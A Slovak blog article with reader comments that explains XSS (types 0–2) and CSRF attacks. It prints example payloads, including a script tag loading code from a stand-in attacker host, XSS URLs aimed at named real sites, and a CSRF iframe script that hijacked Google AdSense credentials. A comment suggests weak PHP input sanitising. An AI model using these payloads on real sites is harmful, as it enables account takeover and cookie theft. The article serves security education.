Málokto z bežných návštevníkov webu zachytil tieto dva pomerne populárne typy útoku. Prečo aj, nič zaujímavé pre ľudí, ktorí si chodia dobiť ego do diskusií na sme alebo inam. Tieto dve závažné techniky útoku nie sú žiadnou novinkou, prvý krát som sa s nimi stretol už pred rokmi, no vtedy väčšina ľudí zo security scény hodila len rukou “je to len hlúposť”. Som rád že tento stav pominul a ľudia sa poučili na vlastných chybách, bohužiaľ to trvalo dlhé mesiace dokazovania a preukazovania závažnosti chýb.
Hneď na začiatok si môžeme pripomenúť lokálny úspech za použitia tohoto typu útoku. Možno si niektorí z vás spomenú na “hacknutie” (cracknutie, toto označenie nechcem moc rozpytvávať, chcel by som sa celej problematike hackerstva venovať neskôr) žive.cz syslom. Niekoľko krát predtým som upozorňoval na nedostatočnú ochranu portálu, až to vyústilo do úspešného útoku. Žive môže ďakovať, že ani “sysel” ani nikto iný im nespôsobil žiadnu škodu.
Pre pochopenie oboch typov útokov je NUTNÉ poznať protokol HTTP, ak ho nepoznáte tak šup šup na RFC 2616 čo sa musí stať vašou modlitebnou knižkou ak chcete chápať tieto typy útokov!
XSS
XSS alebo Cross-site scripting je typ útoku, kedy sa za použitia client-side skriptov (JavaScript) pozmení časť kódu zobrazovanej webstránky tak, aby bol nebezpečný skript útočníka spustiteľný a vykonal určitú akciu, napríklad získal a odoslal dáta z cookies obete. Útočník tak po nahratí dát z cookies ktoré získal od obete, často získa prístup do aplikácie (webstránky) bez toho aby poznal vaše prihlasovacie údaje!
Existujú tri typy zraniteľností pre XSS. Ich pomenovanie sa líši od dokumentu k dokumentu a tak použijem typové označenie z Wikipedie a teda Typ 0, 1 a 2 s kodovými menami pre 0 Local (Lokálny), pre 1 Non-persistent (nestály) a pre 2 Persistent (stály).
Typ 0 Local (Lokálny)
Toto je najzákladnejšia forma XSS a taktiež sa označuje ako DOM-based (založené na objektovom modele dokumentu). Pri tejto forme je kód spustený na strane klienta (client-side), kedy sa využíva časť JavaScript kódu namiesto parametra v URL a práve za pomoci JavaScriptu je stránka zmenená (infikovaná) novým kódom (stále na strane klienta), ktorý sa vykoná okamžite po inicializácii browserom obete.
Príklad:
Majiteľ stránky http://www.vulnerable.site/welcome.html má na stránke takýto kód
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
Vďaka tomuto kódu by Request URL vyzerala takto:
http://www.vulnerable.site/welcome.html?name=Janko
a teda nový kód útočníka by bol
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
čo by malo za následok vyskočenie varovného okna kde by boli vypísané cookies uložené vašim prehliadačom. Tento kód žiadne bezpečnostné riziko nepredstavuje, veď ide len o varovanie pre vás, útočník žiadne dáta nezíska. Na to je treba trošku viac, techník je veľmi veľa, ako príklad by som mohol uviesť
<script src="http://www.attacker.foo/xss.js"></script>
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
Takto by pri správnej úprave scriptu, ktorú však publikovať nebudem, získal vaše dáta uložené serverom v cookies a s radosťou sa prihlásil za vás.
Brániť sa tomuto typu dá v prehliadači firefox za pomoci NoScript pluginu ktorého tvorca sleduje aktuálne trendy v týchto technikách a aktualizuje svoj plugin pre zvýšenie ochrany jeho používateľmi, preto ho vrelo doporučujem!
Typ 1 nestály (non-persistant)
Táto forma XSS je asi najmenej nebezpečná a to z dôvodu, že útočník spolu s nebezpečným kódom musí použiť aj tzv. social engineering (sociálne inžinierstvo). Princíp spočíva v tom, že sa využíva dynamicky generovaný obsah na základe užívateľskej aktivity (AJAX, AJAJ atď.) spolu s predpokladom, že stránka neošetruje dáta premenouHTML kódu na entity, ale umožňuje priame zadanie kódu, ktoré je pri vygenerovaní interpretované a vykonané užívateľovým prehliadačom a takto umožní útočníkovi prístup k citlivými dátam ako sú napríklad Cookies alebo Sessions. Tento útok práve kvôli nutnosti použitia veľkej dávky social engineeringu nie je považovaný väčšinou vývojarov za príliš nebezpečný, čo je podľa mňa veľký omyl.
Jeden príklad za všetky slová.
Navštívte stránku
http://slovnik.dovrecka.sk/vyhladavanie/ a do poľa vyhľadávanie zadajte javascript:alert('xss') a nechajte vyhľadať. Práve takto neochránené stránky môžu znamenať bezpečnostné riziko.
Typ 2 stály (persistant)
Táto forma umožňuje najsilnejší typ útoku (infikuje najväčšie množstvo obetí). Taktiež sa označuje ako HTML injection (infikovanie HTML). Pre tento typ útoku sa využíva uschovanie nebezpečného kódu na strane serveru napríklad v databáze, pričom vstup ani výstup nie je ošetrovaný za pomoci premeny HTML kódu na entity. Najbežnejším príkladom sú tzv. guestbooky, kedy nie je vstup ani výstup chránený proti HTML injection a tak sa nebezpečný kód automaticky interpretuje pri vygenerovaní stránky až do odstránenia majiteľom. Táto metóda sa považuje za najnebezpečnejšiu, pretože sa odhaduje pri jej použití najväčšie množstvo obetí, pričom nebezpečný kód stačí použiť len raz. Aj pri tejto metóde je nutné použiť malé množstvo social engineeringu (vytvorenie zaujímavého odkazu, ktorý pritiahne veľké množstvo ľudí a donúti ich linku otvoriť).
Ďalšou výhodou útoku je, že útočník pre zber dát nepotrebuje vlastnú stránku, stačí mu využiť napríklad logovanie do súboru na infikovanom serveri, email alebo inú formu pre dočasné uloženie výsledkov.
Scénare útoku
Ako by mohli vyzerať útoky za pomoci XSS?
Typ 0
- Útočník nájde XSS dieru a pošle upravenú URL linku s nebezpečným kódom Martine (za pomoci emailu, IM alebo inou formou komunikácie)
- Martina otvorí linku
- Infikovaná web stránka otvorí a načíta za pomoci JavaScriptu útočníkovú stránku so zlým kódom
- Stránka spustí tento kód a nebezpečný skript získa práva Martiny
- Nebezpečný kód teraz môže spúšťať príkazy s právami Martiny na jej vlastnom PC
Typ 1
- Martina navštívi Janovu stránku ktorá jej umožní prihlásiť sa pod menom a heslom a vyplniť osobné údaje
- Útočník zistí, že Janová stránka je infikovateľná za pomoci XSS
- Útočník aplikuje nebezpečný kód a na Martinin email pošle správu, ktorá vyzerá ako keby prišla z Petrovej stránky (email je spoofnutý)
- Martina otvorí linku ktorá bola uvedená v emaili
- Linka infikovaná nebezpečným kódom sa z inicializuje a ukradne citlivé dáta (cookies, informácie o kreditných kartách, atď)
Typ 2
- Peter má stránku ktorá umožňuje ostatným pridávať textové odkazy (guestbook) a tie následne zobrazuje
- Útočník zistí, že Petrova stránka je napadnuteľná XSS typu 2
- Útočník pridá správu so zaujímavým obsahom a nebezpečným kódom na ktorú by mohol nalákať najviac obetí (veľmi bežne sa uvádzajú linky na “bezplatné porno”)
- V prípade že užívatelia kliknú na tento odkaz, nebezpečný kód začne zbierať citlivé dáta bez vedomia obetí
- Útočník si prezie svoje logy ukradnutých dát a využije ich
I keď nerád používam priame príklady, dnes som sa rozhodol tak urobiť na veľmi populárnom Web Games Based portále a to Travian. Tento portál pozná väčšina ľudí pohybujúcich sa online a tak to padne vhod. Mal by fungovať vo všetkých posledných verziách major prehliadačov.
http://www.travian.com/chat.php?chatname=tw8%22%20width=%22675%22%20height=%22500%22%3E%3C/iframe%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
A čo takto Youtube? Funguje len v IE
http://www.youtube.com/watch?v=4ofkHue7ekA&eurl="><script>alert(/XSS/)</script>
Ako sami môžete vidieť, XSS je dnes plnohodnotný typ útoku a skutočné nebezpečenstvo predstavuje pri portáloch s osobnými/platobnými údajmi (paypal, ebay …). Najväčšou prekážkou XSS útoku je transport kódu k obeti ale v dobe kedy ľudia klikajú na každú prílohu v e-maily je to problém minimálny.
CSRF
CSRF/XSRF alebo Cross-site request forgery je veľmi podobný predošlému XSS útoku. U CSRF útoku je známa jedna vec. Pre predanie argumentov stránke obeti využíva metódu GET, čo znamená že parametre sú posielané priamo v url. Tento typ útoku v postate nie je chybou ani prehliadača ani užívateľa a je podstatou samotného protokolu. HTTP protokol je veľmi jednoduchý, server na jeho základe nedokáže identifikovať návštevníka, na to slúžia Cookies. Upozorňujem že metóda POST je rovnako postihnutá, je síce zložitejšia ale nie nemožná, to treba mať na zreteli!
Celý problém spočíva v neoveriteľnej transakcii, ktorú browser vykoná. Ako som už vyššie napísal, server nie je schopný identifikovať užívateľa na základe HTTP protokolu a preto jeho jediná možnosť je použiť Cookies. Keďže však obeť Cookies pošle a zhodujú sa z uloženými dátami o užívateľovi, je takto možné vykonať prakticky akúkoľvek zmenu. Najjednoduchšie to bude zobraziť na príklade.
Máme stránku A, ktorá na základe parametru v URL odhlási užívateľa.
GET http://gmail.com/?logout=true HTTP/1.1
Gmail však nevie overiť od koho táto požiadavka prišla, ako som už spomínal na základe HTTP protokolu a tak tak urobí na základe Cookies ktoré má uložené užívateľ v prehliadači. To znamená, že v prípade že užívateľ takejto stránky navštívi práve tú kde bude nebezpečný kód, dojde k odhláseniu. Nič úžasné, maximálne otravné. Čo však ak na tomto základe útočník zmení identifikačné dáta obete? Napríklad meno a heslo do služby Google AdSense? Ako som písal v poslednom článku Kto zarába milióny cez Google AdSense, predstavte si že by ste niekomu z týchto ľudí zmenili údaje pre vyplatenie zárobku.
Dlho som čakal kým sa Google konečne rozhýbe a odstráni chybu a aj založenie blogu trvalo nemalú chvíľu :) ale nakoniec vám môžem takýto kód ukázať.
<script type="text/javascript" language="JavaScript">
var w = "500"
var h = "500"
var s = 'https://www.google.com/accounts/UpdateEmail?service=adsense&Email=mymail@newmail.net&Passwd=newpass&save='
document.write("<iframe style='width:" + w + "; height:" + h + ";' ");
document.write("align='center' marginwidth='0' marginheight='0' ");
document.write("scrolling='no' frameborder='0' id='awglogin' name='awglogin' ");
document.write("src='" + s + "'>");
document.write("</iframe>");
</script>
Za pomoci tohoto kódu bol útočník schopný zmeniť obeti email a heslo v google adsense a tak sa prihlásiť a zmeniť údaje. CSRF načítaval cez iframe do stránky. Okamžite po zmene údajov pre vyplatenie penazí zmení email na starý a vyberie náhodné heslo. Obeť kvôli tomu že sa nevie prihlásiť si nechá vygenerovať nové, to mu úspešne príde a ani len ho nenapadne pozrieť sa, či sa mu nezmenila adresa pre vyplácanie odmeny.
Samozrejme že existujú aj iné možnosti, táto je však asi najzaujímavejšia. Už ju skúšať nemusíte, bola našťastie po Ronaldovom reporte opravená, aj keď to nejaký čas trvalo.
Doteraz však funguje CSRF pre odhlásenie, vyskúšať si ho môžete tu. Je nutné, aby ste mali v browseri nastavenú okamžitú inicializáciu RSS, v opačnom prípade sa kód neprevedie a výsledok nezaznamenáte. Viac môžete vidieť aj na screenshote nižšie.

Postup: Otvoríte si Google account a prihlásite sa. Následne otvoríte môj odkaz (POC). Znovunačítajte stránku googlu a ste odhlásení.
CSRF je určite veľmi nebezpečný typ útoku, je veľmi ťažké sa proti nemu brániť. Posledne sa ako najlepšia ochrana osvedčili tokeny inicializované pri prvom načítaní z login page a ďalej sa s nimi už pracuje. Po vypršaní session je nutné reinicializovať token a tak sa zabráni použitiu tohoto typu útoku. Predstavte si iný prípad.
Užívateľ príde na stránku kde je CSRF škodlivý kód a ten mu podstrčí dva, tri, štyri obchody odkiaľ by mohol niečo kúpiť. Ak má útočník šťastie, užívateľ už v jednom z nich prihlásený je a ak nebodaj v obchode, ako Amazon, ich fantastická funkcia o ktorej patent sa snažili “1-Click ordering” odošle objednávku na pozmenenú adresu a to práve útočníka. Škoda môže byť obrovská a nenapraviteľná.
Myslím, že som dostatočne predstavil celú problematiku, ak budete mať akékoľvek otázky či pripomienky, kľudne sa pýtajte. Nie som autorom ani jedného z POC, prosím nebombardujte ma ako som na ne prišiel, väčšina bola vyvretá z hlbín Black Hat scény.





Dobry den, prepacte, ze pisem do diskusie, no nenasiel som iny kontakt na Vas. V tomto clanku ste poukazali na konkretne bezpecnostne diery slovenskych portalov. Jeden takyto portal, ktory mate uvedeny ako priklad vlastnim. Velmi rad, by som Vas poprosil o radu. Prosim, ak si najdete cas, kontaktujte ma na moj e-mail. Dakujem. S pozdravom Richard
Dobry den,
som iba uplny zaciatocnik, preto sa chcem opytat niekoho skuseneho na moznosti ochrany proti tomuto typu utoku. Postacil by php kod takehoto typu?
if (isset($_POST)) foreach($_POST as $kluc => $hodnota) {
$_POST[$kluc] = strip_tags(addslashes($_POST[$kluc]));
}
Predpoklad je, ze kod sa vola na zaciatku kazdej stranky obsahujucej formalar…
Za odpoved a vynalozene usilie ochotnemu cloveku velmi pekne dakujem.
pre bobo: pre osetrenie zakladnych chyb by malo stacit, ale kedze takyto podobny kod vyuzivam, tak musis este ratat s tym, ze niektora POST hodnota moze byt typu array a obsahovat pole hodnot. To treba taktiez osetrit (moze to byt vnorene aj x-krat, takze odporucam dat tento kod do fcie a overit v nej ci ide o pole alebo o hodnotu. Pokial o pole, zavolam funkciu znovu a tak sa postupne dostanem az ku koncovym hodnotam akokolvek rozsiahleho pola… samozrejme neriesi to vsetky mozne hrozby XSS a ani sql injection a pod…
Zdravim, vdaka za zaujimavy clanocek, len jedna pripomienka pre buducnost: pise sa “v emaili”, s makkym i ;)